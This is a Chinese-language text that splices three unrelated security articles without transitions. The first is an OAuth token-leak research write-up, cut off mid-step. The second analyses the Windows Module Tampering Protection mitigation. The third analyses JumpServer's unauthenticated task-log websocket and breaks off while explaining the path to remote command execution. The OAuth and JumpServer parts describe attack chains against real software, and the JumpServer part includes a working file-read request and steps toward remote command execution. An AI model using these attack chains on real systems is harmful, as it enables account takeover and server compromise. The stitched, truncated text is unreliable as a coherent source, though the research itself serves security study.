有多種方法可以打破OAuth-dance。這些使OAuth-dance無效的方法本身沒有任何影響,但如果受害者最終將代碼或令牌仍然放在URL中,並與location.href-leak 鏈接在一起,它們就變得很重要。

故意對“狀態”進行攻擊OAuth規范建議將狀態參數與response_type=code結合使用,以確保啟動流程的用戶也是在OAuth-dance 之後使用代碼來發布令牌的用戶。

但是,如果狀態值無效,代碼將不會被使用,因為驗證狀態是網站的責任。這意味著,如果攻擊者可以向具有有效攻擊狀態的受害者發送登錄流鏈接,那麼受害者的oaut -dance將失敗,代碼將永遠不會發送給OAuth-provider。如果攻擊者可以得到它,該代碼仍然可以使用。

1.攻擊者使用“使用X 登錄”在網站上啟動登錄流程。

2.攻擊者使用狀態值並為受害者構建一個鏈接,讓他們用OAuth-provider登錄,但使用攻擊者的狀態。

3.受害者使用該鏈接登錄並重定向回該網站。

4.網站驗證受害者的狀態並停止處理登錄流程,因為它不是一個有效狀態。受害者的錯誤頁面。

5.攻擊者找到了從錯誤頁面洩漏代碼的方法。

6.攻擊者現在可以使用自己的狀態和受害者洩露的代碼登錄。

響應類型/響應模式切換改變OAuth-dance的響應類型或響應模式將影響代碼或令牌返回網站的方式,這在大多數情況下會導致意想不到的行為。我還沒有看到任何OAuth-provider有限製網站想要支持的響應類型或模式的選項,所以根據OAuth-provider的不同,通常至少有兩種或更多的OAuth-provider可以在嘗試以不滿意的方式結束時進行更改。

還可以請求多個響應類型。有一個規範解釋了當請求多個響應類型時,如何向redirect-uri提供值:

如果在一個請求中,response_type只包含要求服務器返回在查詢字符串中完全編碼的數據的值,那麼這個多值response_type的響應中返回的數據必須在查詢字符串中完全編碼。此建議同時適用於成功響應和錯誤響應。

如果在一個請求中,response_type包含任何要求服務器返回在片段中完全編碼的數據的值,那麼響應中這個多值response_type返回的數據必須在片段中完全編碼。此建議同時適用於成功響應和錯誤響應。

如果正確地遵循了這個規範,這意味著你可以要求發送到網站的代碼參數,但如果你同時也要求id_token,代碼參數將在Fragment部分而不是在查詢字符串中發送。

對於Google 的登錄,這意味著:

4.png

將重定向到https://example.com/callback?code=xxxstate=yyy。但是:

5.png

將重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。

如果你使用以下方法,同樣的想法也適用於Apple:

6.png

你將被重定向到https://example.com/callback?code=xxxstate=yyy,但是:

7.png

會將你重定向到https://example.com/callback#code=xxxstate=yyyid_token=zzz。

Redirect-uri大小寫轉換一些OAuth-provider允許在redirect_uri 的路徑中進行大小寫轉換,而不是真正遵循保護基於重定向的流程規範:

在將客戶端Redirect-uri與預註冊的URI 進行比較時,授權服務器必須使用精確的字符串匹配,本地應用程序的localhost Redirect-uri中的端口號除外。該措施有助於防止授權代碼和訪問令牌的洩漏,它還可以幫助檢測混淆攻擊。

這意味著,將https://example.com/callback 作為應用程序的配置重定向uri,以下流程仍然有效:

8.png

並將你重定向到:https://example.com/CaLlBaCk#id_token=xxx。我測試過的所有網站都沒有使用不區分大小寫的路徑,因此大小寫轉換觸發了不太順暢的路徑,顯示錯誤或重定向到仍然存在Fragment的登錄頁面。

另請注意,使用response_type=code 這個方法更難被利用。在一個正確的OAuth-dance使用代碼中,在從服務提供者獲取訪問令牌的最後一步中,還必須提供redirect_uri 以向服務提供者進行驗證。如果OAuth-dance中使用的redirect_uri 與網站發送給提供者的值不匹配,則不會發出訪問令牌。但是,使用任何其他響應類型,例如token 或id_token,都不需要最後一步的驗證,因為token是在重定向中直接提供的。

增加Redirect-uri路徑

一些OAuth-provider允許將其他數據添加到redirect_uri 的路徑中。這也以與“Redirect-uri case shift”相同的方式破壞了規範。例如,有一個https://example.com/callbackredirect uri,發送一下內容:

9.png

最終會重定向到https://example.com/callbackxxx#id_token。這已報告給受影響的供應商。此處適用與大小寫轉換相同的事情,對於response_type=code 這將不允許你發出令牌,因為在最後一步從提供者獲取令牌時會比較正確的redirect_uri。

增加Redirect-uri參數附加一些OAuth-provider允許向redirect_uri添加額外的查詢或Fragment參數。你可以通過提供將附加到URL的相同參數來觸發一個不太好用的路徑來使用它。例如,有一個https://example.com/callbackRedirect-uri,發送以下內容:

10.png

在這些情況下會被重定向到https://example.com/callback?code=xxxcode=real-code。根據網站接收多個相同名稱的參數,這也可能會觸發一個不太好用的路徑。同樣適用於token和id_token:

11.png

結果是https://example.com/callback#id_token=xxxid_token=real-id_token。根據javascript在有多個相同名稱的參數時獲取Fragment參數,這也可能會以一個不太好用的路徑結束。

Redirect-uri多餘內容或錯誤配置在收集所有包含redirect_uri值的登錄url時,我還可以測試其他重定向uri值是否也有效。在我測試的網站上保存的125個不同的谷歌登錄流程中,有5 個網站的起始頁也是有效的redirect_uri。例如,如果使用了redirect_uri=https://auth.example.com/callback,那麼在這5 種情況下,其中任何一種都是有效的:

redirect_uri=https://example.com/

redirect_uri=https://example.com

redirect_uri=https://www.example.com/

redirect_uri=https://www.example.com

這對於實際使用id_token或token的網站來說特別有趣,因為response_type=code仍然會讓OAuth-provider在獲取令牌時在OAuth-dance的最後一步驗證redirect_uri。

我最終找到了許多不太好用的路徑。怎麼辦?

我現在已經為所有網站收集了一堆不太好用的路徑。以下是我看到的不同案例:

1.最後出現在錯誤頁面上。

2.重定向到網站的起始頁。

3.重定向回登錄頁面。

4.重定向回已刪除參數的登錄頁面。

5.重定向回OAuth-provider,但具有正確的值,具有正確的響應類型和狀態,基本上識別流程無效並重試它。

我們計劃專注於1、2和3,因為它們的參數仍然保存在URL中。我還得出結論,避免不太好用路徑的最佳方案是第4條。

現在是時候真正開始尋找洩露信息的方法了。我仍然沒有發現真正的漏洞。

12.png

由於postMessage-listener擴展還記錄頁面上的任何iframe是否有偵聽器,所以我開始關注那些在URL中有令牌的窗口的任何框架中至少有一個postMessage-listener的網站。

13.png

URL 洩漏小工具

我會將洩漏URL 的不同方法歸類為不同的小工具,因為它們具有不同的屬性讓我們回顧一下我已經確定的不同類型的方法。

小工具1:洩漏URL 的弱或沒有源檢查postMessage-listeners

14.png

這是預期的。一個示例是加載到網站上的流行網站的分析SDK:

15.png

此SDK 公開了一個postMessage-listener,當消息類型匹配時,它會發送以下消息:

16.png

從不同的來源向它發送消息:

17.png

響應消息將顯示在發送包含網站location.href 消息的窗口中:

18.png

可用於攻擊的流程取決於代碼和令牌用於登錄流程的方式,但攻擊場景是:

1.攻擊者向受害者發送一個精心製作的鏈接,該鏈接已準備好導致OAuth-dance 中的一條不太好用的路徑。

2.受害者點擊鏈接。新選項卡將打開一個登錄流程,其中包含正在被利用的網站的一個OAuth-provider。

3.在被利用的網站上觸發了不太好用的路徑,易受攻擊的postMessage-listener 被加載到受害者登陸的頁面上,仍然在URL 中包含代碼或令牌。

4.攻擊者發送的原始tab 發送一堆postMessages-到帶有網站的新tab 以獲取postMessage-listener 以洩漏當前URL。

5.攻擊者發送的原始標籤,然後偵聽發送給它的消息。當URL在消息中返回時,代碼和令牌將被提取並發送給攻擊者。

6.攻擊者使用最終在不太好用路徑上的代碼或令牌以受害者身份登錄。

小工具2:獲取URL 的沙盒/第三方域上的XSS

19.png

我們會在下一篇文章種介紹小工具2、小工具3,以及洩露URL 的其他途徑。

我們在上一篇文章中介紹了響應類型,如何通過postMessage 竊取令牌以及小工具1,本文接著講小工具2、小工具3,以及洩露URL 的其他途徑。

小工具2:示例1,從沙盒框架中竊取window.name我在5 月12 日報告了使用這個小工具在野外發現的第一條鏈:

20.png

巧合的是,兩天后的5 月14 日,Youssef Sammouda 發表了一篇很棒的博文,解釋了他接管使用Gmail 的Facebook 帳戶的方法。這篇博文描述了我發現的類似流程。但是,該錯誤並不是要破壞OAuth-dance,而是通過使用允許加載任意javascript 的iframe:d 沙盒域來洩露受害者最終訪問的URL。沙盒訪問URL 中的敏感數據的原因是它在加載iframe 時附加到沙盒URL。

不過,我發現的案例有點不同。

第一個是在OAuth-dance結束的頁面上加載iframe。 iframe是window.location-object的json字符串版本。這是一種舊的跨域傳輸數據的方法,因為iframe中的頁面可以得到由父節點設置的自己的window.name:

21.png

在iframe中加載的域也有一個簡單的XSS:

22.png

正如Youssef解釋的那樣,如果你在一個窗口的一個域上有一個XSS,那麼如果窗口之間存在父/子/開啟者關係,則該窗口可以到達同源的其他窗口。

在示例中,我做了以下操作:

1.創建了一個惡意頁面,該頁面嵌入了沙盒的iframe,XSS 加載了我自己的腳本:

23.png

2.在沙盒中加載腳本時,我將內容替換為受害者使用的鏈接:

24.png

我還啟動了一個腳本,以檢查鏈接是否已打開,並且我想訪問的iframe 是否存在以獲取iframe 上設置的window.name 與攻擊者頁面上的iframe 相同的來源:

25.png

3.然後,攻擊者頁面可以只偵聽我們剛剛發送的帶有window.name 的消息:

26.png

小工具2:示例2,帶有XSS + 父源檢查的iframe第二個示例是使用postMessage 將iframe 加載到具有XSS 的不太好用的路徑上,但僅允許來自加載它的父窗口的消息。當它在給父窗口的消息中請求initConfig 時,location.href 被發送到iframe。

主窗口像這樣加載iframe:

27.png

內容如下所示,這比實際情況要簡單得多,只是為了更好地解釋攻擊:

28.png

在這種情況下,我可以執行與第一個示例類似的方法:

1.創建一個嵌入沙盒iframe 的惡意頁面,附加onload 以在加載iframe 時觸發腳本。

29.png

2.由於惡意頁面是iframe 的父級,它可以向iframe 發送消息以使用postMessage 將我們的腳本加載到沙盒的來源:

30.png

3.在沙盒中加載腳本時,我將內容替換為受害者的鏈接:

31.png

我還啟動了一個腳本,以檢查鏈接是否已打開以及我想要訪問的iframe 是否存在,以便在其中運行javascript 從我的iframe 到主窗口。然後,我在惡意窗口中附加了一個postMessage 偵聽器,該偵聽器將消息傳遞回我的iframe:

32.png

4.加載了iframe 的攻擊者頁面然後可以在主窗口的iframe 中偵聽我從注入的postMessage-listener 代理髮送的消息:

33.png

小工具3:使用API 獲取越界URL

34.png

這個小工具原來是最有趣的。把受害者送到某個地方然後從另一個地方獲取敏感數據,這讓人很滿意。

小工具3:示例1,沒有來源檢查的存儲框架第一個示例使用外部服務來跟踪數據。該服務添加了一個存儲框架:

35.png

主窗口將使用postMessage 與此iframe 對話,以發送跟踪數據,這些跟踪數據將保存在storage.html 所在的源的localStorage 中:

36.png

主窗口也可以獲取以下內容:

37.png

當iframe 在初始化時加載時,使用location.href 為用戶的最後一個位置保存了一個項:

38.png

如果你能以某種方式與這個來源對話,並讓它向你發送內容,那麼location.href 可以從這個存儲中獲取。該服務的postMessage-listener 有一個阻止列表和一個來源的允許列表。分析服務似乎允許網站定義允許或拒絕的來源:

39.png

此外,如果你有一個基於allowList 的有效來源,你還可以請求同步,這將在此窗口中向你發送對localStorage 所做的任何更改。

在將這個存儲加載到OAuth-dance 的不太好用路徑上的網站上,沒有定義allowList-origins;如果源是窗口的父級,這允許任何源與postMessage-listener 對話。該方法類似於小工具2:

1.我創建了一個惡意頁面,該頁面嵌入了存儲容器的iframe,並附加了一個onload,以便在加載iframe時觸發腳本。

40.png

2.由於惡意頁面現在是iframe的父頁面,並且在allowList中沒有定義任何起源,因此惡意頁面可以向iframe發送消息,告訴存儲發送對存儲的任何更新的消息。我還可以向惡意頁面添加一個偵聽器,以偵聽存儲中的任何同步更新:

41.png

3.惡意頁面還包含一個供受害者點擊的常規鏈接:

42.png

受害者會點擊該鏈接,通過OAuth-dance,最終進入加載跟踪腳本和存儲iframe 的不太好用路徑。存儲iframe 獲取last-url 的更新。自從localStorage 更新以來,window.storage-event 將在惡意頁面的iframe 中觸發,並且每當存儲更改時,當前正在獲取更新的惡意頁面將獲得帶有受害者當前URL 的postMessage:

43.png

小工具3:示例2,CDN 中的客戶混淆——DIY 存儲——沒有來源檢查的SVG由於分析服務本身有一個漏洞賞金,我也有興趣看看我是否可以找到一種方法來洩露已經為storage-iframe 配置正確來源的網站的URL。

當我開始在線搜索沒有客戶部分的cdn.analytics.example.com 域時,我注意到這個CDN 還包含服務客戶上傳的圖像:

44.png

我還注意到這個CDN 上有SVG 文件作為Content-type: image/svg+xml 內聯提供:

45.png

我在該服務上註冊為試用用戶,並上傳了我自己的資產,該資產也出現在CDN 上:

46.png

有趣的是,如果你隨後將特定於客戶的子域用於CDN,則仍然會提供圖像。 URL如下:

47.png

這意味著ID #94342 的客戶可以在客戶#12345 的存儲中呈現SVG 文件。

我上傳了一個帶有簡單XSS 有效負載的SVG 文件:

48.png

效果不是很好。 CDN 為img/下的所有內容添加了Content-Security-Policy: default-src 'self'-header。你還可以看到提到S3 的服務器標頭,這表明內容已上傳到S3 存儲桶:

49.png

S3 的一個有趣的事情是目錄在S3 中並不是真正的目錄。項之前的路徑稱為“前綴”。這意味著S3 不關心/是否經過url 編碼,如果你對URL 中的每個斜杠進行url 編碼,它仍然會提供內容。如果我在URL 中將img/更改為img%2f ,仍然可以解析圖像。但是,在這種情況下,CSP-header 被刪除並觸發了XSS:

50.png

然後我可以上傳一個SVG,該SVG 將創建與常規storage.html 相同形式的存儲處理程序和postMessage-listener,但允許列表為空。即使在正確定義了可以與存儲通信的允許來源的網站上,這也使我能夠進行相同類型的攻擊。

我上傳了一個看起來像這樣的SVG:

51.png

然後我可以使用與示例#1 中相同的方法,但我可以使用url 編碼的斜杠iframe 而不是iframe 的storage.html:

52.png

由於沒有網站能夠自行修補此問題,因此我向負責CDN 的分析提供商發送了一份報告:

53.png

在第三方上查看錯誤配置產生漏洞的整個想法主要是確認有多種方法來實現令牌的洩漏,並且由於第三方有漏洞賞金,這只是同一種漏洞的不同接收者,不同之處在於影響是針對分析服務的所有客戶。在這種情況下,第三方的客戶實際上有能力正確配置該工具,使其不會將數據洩露給攻擊者。然而,由於敏感數據仍被發送給第三方,所以看看是否有某種方法可以完全繞過客戶對工具的正確配置是很有趣的。

小工具3:示例3,聊天小工具API最後一個例子是基於一個出現在網站所有頁面上的聊天小工具,甚至是錯誤頁面。有多個postMessage 偵聽器,其中一個沒有適當的來源檢查,只允許你啟動聊天彈出窗口。另一個偵聽器對聊天小工具進行了嚴格的來源檢查,以接收初始化調用和當前用戶使用的當前聊天API 令牌。

54.png

聊天iframe 加載時:

1.如果chat-api-token 存在於chat-widget 的localStorage 中,它將使用postMessage 將api-token 發送給其父級。如果沒有chat-api-token 存在,它不會發送任何東西。

2.當iframe 加載後,它會向其父級發送一個帶有{'type': 'chat-widget', 'key': 'init'} 的postMessage。

如果你點擊主窗口中的聊天圖標:

1.如果chat-api-令牌還沒有被發送,那麼chat-widget會創建一個令牌,並將其放在自己的源的localStorage中,並將其postMessage發送給父窗口。

2.然後父窗口將對聊天服務進行API 調用。 API 終端被CORS 限制為為服務配置的特定網站。你必須使用chat-api-token 為API 調用提供有效的Origin-header 以允許發送請求。

3.來自主窗口的API 調用將包含location.href 並使用chat-api-token 將其註冊為訪問者的“當前頁面”。然後,響應將包含一些令牌,以連接到一個websocket來啟動聊天會話:

55.png

在這個例子中,我意識到chat-api-token 的通知總是會通知給chat-widget iframe 的父級,如果我得到了chat-api-token,我可以使用令牌,然後將我自己的人工Origin-header 添加到API 調用中,因為CORS-header 僅對瀏覽器很重要。這導致了以下進程:

1.創建了一個嵌入聊天小工具iframe 的惡意頁面,添加了一個postMessage-listener 來偵聽chat-api-token。此外,如果在2 秒內沒有獲得api-token,則會觸發重新加載iframe 的事件。這是為了確保我也支持從未發起聊天的受害者,並且由於我可以觸發遠程打開聊天,我首先需要chat-api-token 開始輪詢聊天API 中的數據服務器端。

56.png

2.添加了指向惡意頁面的鏈接以打開登錄流程,該流程最終將出現在帶有URL 中帶有令牌的聊天小工具的頁面上:

什麼是模塊篡改保護?模塊篡改保護是一種緩解措施,可防止對進程主映像的早期修改,例如IAT 掛鉤或進程空心化。它一共使用了三個API:NtQueryVirtualMemory、NtQueryInformationProcess 和NtMapViewOfSection。如果啟用,加載程序將在調用入口點之前檢查主圖像標頭和IAT 頁面中的更改。它通過使用信息類MemoryWorkingSetExInformation 調用NtQueryVirtualMemory 來做到這一點。返回的結構包含有關頁面共享狀態的信息,以及是否從其原始視圖修改。如果標頭或IAT 已從其原始映射修改。例如,如果主圖像已被取消映射,並且已在其位置映射了另一個圖像,則加載器將使用類ProcessImageSection 調用NtQueryInformationProcess 以獲取主圖像部分,然後將使用NtMapViewOfSection 重新映射它。這樣,新部分將被使用,篡改的圖像副本將被忽略。

此緩解從RS3 開始可用,並且可以使用PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 在進程創建時啟用。

模塊篡改保護緩解措施是如何發現的如果微軟從未宣布或記錄某些緩解措施,那人們如何才能發現這些緩解措施?因此,一個值得關注的好地方是EPROCESS 結構中的各種MitigationFlags 字段。目前存在三個MitigationFlags 字段(MitigationFlags、MitigationFlags2、MitigationsFlags3),每個字段包含32 位。在前兩個中,整個32位已經被使用,所以最近添加了MitigationFlags3,目前包含三個緩解措施,我相信很快會添加更多。這些標誌代表進程中啟用的緩解措施。例如,我們可以使用WinDbg 為當前進程打印EPROCESS.MitigationFlags:

1.png

最後,在位28 和29 中,我們可以看到值EnableModuleTamperingProtection 和EnableModuleTamperingProtectionNoInherit。不幸的是,搜索這些名稱並沒有得到任何好的結果。有幾個網站只顯示結構而沒有解釋,一個模糊的堆棧溢出答案簡要提到了EnableModuleTamperingProtectionNoInherit 而沒有添加細節,還有這條推文:

2.png

不出所料,最詳細的解釋是Alex Ionescu 2017 年發布的一條推文。這雖並不是完整的文檔,但它是一個開始。如果你已經了解並理解構成此緩解措施的概念,那麼這一系列的推文可能會非常清楚地解釋有關該特性的所有內容。

開始搜索進程緩解實現的第一個地方通常是內核:ntoskrnl.exe。然而,這是一個巨大的二進製文件,不容易搜索。似乎沒有與此緩解措施完全相關的函數名稱,所以沒有明顯的地方可以開始。

相反,你可以嘗試不同的方法並嘗試找到對EPROCESS 的MitigationFlags 字段的引用,並可以訪問這兩個標誌中的一個。但除非你可以訪問Windows 源代碼,否則沒有簡單的方法可以做到這一點。但是,你可以做的是利用EPROCESS 是一個大型結構並且MitigationFlags 存在於它的末尾,偏移量0x9D0 的事實。一種非常粗暴但有效的方法是使用IDA 搜索功能並蒐索所有對9D0h 的引用:

3.png

這會很慢,因為它是一個很大的二進製文件,並且一些結果與EPROCESS 結構無關,因此你必須手動搜索結果。此外,僅查找對該字段的引用是不夠的,MitigationFlags 包含32 位,其中只有兩個與當前上下文相關。所以,你必須搜索所有的結果,找出以下情況:

0x9D0被用作EPROCESS結構的偏移量——因為無法保證知道每種情況使用的結構類型,儘管對於較大的偏移量,只有少數選項可以是相關的,它主要可以通過函數名稱和上下文來猜測。

比較或設置MitigationFlags字段為0x10000000 (EnableModuleTamperingProtection)或0x20000000 (EnableModuleTamperingProtectionNoInherit)。或者通過諸如bt或bts之類的彙編指令,按位數測試或設置位28或位29。

運行搜索後,結果看起來像這樣:

4.png

你現在可以瀏覽結果並了解內核使用了哪些緩解標誌以及在哪些情況下使用。然後我會告訴你,這個努力完全沒有用,因為EnableModuleTamperingProtection 在內核中的一個地方被引用:PspApplyMitigationOptions,當創建一個新進程時調用:

5.png

因此,內核會跟踪是否啟用了此緩解措施,但從不對其進行測試。這意味著緩解措施本身在其他地方實現。這種搜索可能對這種特定的緩解措施毫無用處,但它是找出緩解措施實現位置的幾種方法之一,並且對其他流程緩解措施很有用,所以我想提一下它。

現在讓我們回到模塊篡改保護,有時會實現進程緩解的第二個位置是ntdll.dll,它是每個進程中要加載的第一個用戶模式映像。此DLL 包含所有進程所需的加載程序、系統調用存根和許多其他基本組件。在這裡實現這種緩解是有意義的,因為顧名思義它與模塊加載有關,這通過ntdll.dll 中的加載器發生。此外,這是一個包含Alex 在他的推文中提到的功能的模塊。

即使我們沒有這條推文,只要打開ntdll 並蒐索“tampering”,我們就能很快找到一個結果:函數LdrpCheckPagesForTampering。尋找這個函數的調用者,我們看到它是從LdrpGetImportDescriptorForSnap調用的:

6.png

在截圖的第一行,我們可以看到兩個檢查:第一個驗證當前正在處理的條目是主圖像,因此該模塊被加載到主圖像模塊中。第二個檢查是LdrSystemSllInitBlock.MitigationOptionsMap.Map中的兩個位。我們可以看到這裡檢查的確切字段只是因為我對LdrSystemDllInitBlock 應用了正確的類型,如果你在沒有應用正確類型的情況下查看這個函數,你會看到一些隨機的、未命名的內存地址被引用。 LdrSystemDllInitBlock 是一個數據結構,包含加載程序所需的所有全局信息,例如進程緩解選項。它沒有記錄,但具有符號中可用的PS_SYSTEM_DLL_INIT_BLOCK 類型,因此我們可以在此處使用它。請注意,雖然此結構在NTDLL 符號中不可用,而是你可以在ole32.dll 和combase.dll 的符號中找到它。 MitigationOptionsMap 字段只是三個ULONG64 的數組,其中包含標記為此過程設置的緩解選項的位。我們可以在WinBase.h 中找到所有緩解標誌的值。以下是模塊篡改保護的值:

7.png

這些值與Map頂部的DWORD 相關,因此模塊篡改保護位實際上位於Map的第44 位,在Hex Rays 屏幕截圖中以及在PspApplyMitigationOptions 中檢查的是相同位。

現在我們知道該緩解措施在哪裡應用了檢查,因此我們可以開始查看實現並了解該緩解措施的作用。

實現細節再次查看LdrpGetImportDescriptorForSnap:在我們已經看到的兩次檢查之後,該函數獲取主圖像的NT 標頭並調用LdrpCheckPagesForTampering 兩次。第一次發送的地址是imageNtHeaders-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT],圖像的導入表,大小為8 個字節。第二次使用NT 標頭本身的地址和大小調用該函數。如果這些頁面中的一個被認為被篡改了,LdrpMapCleanModuleView將被調用(根據名稱判斷)映射主圖像模塊的一個乾淨的視圖。

讓我們看看LdrpCheckPagesForTampering 內部,看看NTDLL 如何判斷一個頁面是否被篡改:

8.png

首先,此函數計算請求的字節範圍內的頁數(在本文的兩個示例中,該數字都是1)。然後它分配內存並使用MemoryInformationClass==4 (MemoryWorkingSetExInformation) 調用ZwQueryVirtualMemory。這個系統調用和信息類是安全人員可能不太經常看到的,工作集是一種基於物理內存頁面當前狀態來管理和優先級排序的方法,因此大多數安全人員通常不感興趣。然而,工作集確實包含一些我們感興趣的屬性。具體來說,是“共享”標誌。

我不會在這裡詳細介紹映射和共享內存,因為它們在很多其他地方都有解釋。但簡而言之,系統盡量不復制內存,因為這意味著物理內存將很快被複製的頁面填滿,主要是那些屬於圖像和DLL 的頁面,像ntdll.dll 或kernel32.dll 的系統DLL被映射到大多數係統中的進程,因此在物理內存中為每個進程單獨創建一個副本只是浪費。因此,這些圖像頁面在所有進程之間共享。也就是說,除非以任何方式修改圖像。圖像頁面使用一種稱為“寫時復制(copy-on-write)”的特殊保護,它允許頁面可寫,但如果頁面被寫入,則會在物理內存中創建一個新副本。這意味著對DLL 的本地映射所做的任何更改(例如,用戶模式掛鉤的寫入或任何數據更改)都只會影響當前進程中的DLL。

這些設置保存為可以通過NtQueryVirtualMemory 查詢的標誌,這裡使用的信息類:MemoryWorkingSetExInformation。它將在MEMORY_WORKING_SET_EX_INFORMATION 結構中返回有關查詢頁面的數據:

9.png

這個結構為你提供了被查詢的虛擬地址,以及包含頁面狀態信息的位,例如:它的有效性、保護以及它的共享狀態。有幾個不同的位與頁面的共享狀態相關:

共享——頁面是可共享的嗎?這並不一定意味著該頁當前與任何其他進程共享,但是,例如,除非進程特別請求,否則私有內存不會被共享。

ShareCount——此字段告訴你此頁面存在多少映射。對於當前未與任何其他進程共享的頁面,這將是1。對於與其他進程共享的頁面,這通常會更高。

SharedOriginal ——該標誌會告訴你該頁面是否存在映射。因此,如果一個頁面被修改,導致在物理內存中創建一個新副本,這將被設置為零,因為這不是頁面的原始映射。

此SharedOriginal 位是由LdrpCheckPagesForTampering 檢查的,以判斷此頁面是原始副本還是由於更改而創建的新副本。如果這不是原始副本,這意味著該頁面以某種方式被篡改,因此該函數將返回TRUE。 LdrpCheckPagesForTampering 對正在查詢的每個頁面運行此檢查,如果其中任何一個被篡改,則返回TRUE。

如果函數對任何檢查範圍返回TRUE,則調用LdrpMapCleanModuleView:

10.png

這個函數簡短而簡單:它使用InformationClass==89 (ProcessImageSection) 調用NtQueryInformationProcess 來獲取主圖像的部分句柄,然後使用NtMapViewOfSection 重新映射它並關閉句柄。它將新部分的地址寫入DataTableEntry-SwitchBackContect,以代替原來的篡改映射。

為什麼該特性特別選擇檢查這兩個範圍——導入表和NT 標頭?這是因為這兩個地方經常會成為試圖虛化進程的攻擊者的目標。如果主圖像未映射並被惡意圖像替換,則NT 標頭將不同並被視為已篡改。進程空心化(Process hollowing)還可以篡改導入表,以指向與進程預期不同的函數。所以,這主要是一個反空心化的功能,目標是發現主圖像中的篡改企圖,並用一個沒有被篡改的新圖像副本替換它。

功能限制不幸的是,此功能相對有限。你可以啟用或禁用它,僅此而已。實現緩解的函數是內部調用,不能在外部調用。因此,例如,除非你自己編寫代碼(並手動映射模塊,因為這些部分的句柄不方便地存儲在任何地方),否則不可能將緩解擴展到其他模塊。此外,此緩解不包含日誌記錄或ETW 事件。當緩解通知在主圖像中被篡改時,它會靜默映射並使用新副本,並且不會留下任何痕跡供安全產品或團隊查找。唯一的提示是NtMapViewOfSection 將再次為主圖像調用並生成ETW 事件和內核回調。但這很可能會被忽視,因為它並不一定意味著發生了不好的事情,並且可能不會導致任何警報或對可能是真正的攻擊的重大調查。

從好的方面來說,這種緩解非常簡單和有用,如果你想實現它,則很容易模仿,例如檢測放置在你的進程上的鉤子並映射一個新的、未掛鉤的頁面副本以供使用。你可以這樣做,而不是使用直接系統調用!

該緩解措施有人使用過嗎?在WinDbg 中運行查詢,我沒有發現任何啟用模塊篡改保護的進程的結果。經過一番探索,我設法找到了一個啟用此功能的進程:SystemSettingsAdminFlows.exe。此過程在你打開Windows 設置菜單中的應用程序-可選功能時執行。我不知道為什麼這個特定的進程會使用這種緩解措施,或者為什麼它是唯一一個這樣做的,但這是迄今為止我設法找到的唯一一個啟用模塊篡改保護的過程。

0 简介

JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。

2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。

影响版本:

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

1. 漏洞分析

看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

发现是给CeleryLogWebsocket类的connect加上了身份认证。

import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class TaskLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    log_types = {
        'celery': get_celery_task_log_path,
        'ansible': get_ansible_task_log_path
    }

    def connect(self):
        user = self.scope["user"]
        if user.is_authenticated and user.is_org_admin:
            self.accept()
        else:
            self.close()

    def get_log_path(self, task_id):
        func = self.log_types.get(self.log_type)
        if func:
            return func(task_id)

    def receive(self, text_data=None, bytes_data=None, **kwargs):
        data = json.loads(text_data)
        task_id = data.get('task')
        self.log_type = data.get('type', 'celery')
        if task_id:
            self.handle_task(task_id)

    def wait_util_log_path_exist(self, task_id):
        log_path = self.get_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

查看这个类的http接口:

a0jolazqtkd14133.png

通过这个类可以知道,这个接口的访问链为:

访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数

2zeqtyhuook14134.png

taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。

ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{"task":"/opt/jumpserver/logs/jumpserver"}

以上就是文件读取的原理,读取日志文件有如下限制:

  • 只能使用绝对路径读取文件
  • 只能读取以 log 结尾的文件

下面分析如何实现远程代码执行。

通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id:

  • user id
  • asset id
  • system user id

上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi

0zjjmnggfdl14135.png

1nfvpjttktj14136.png

通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

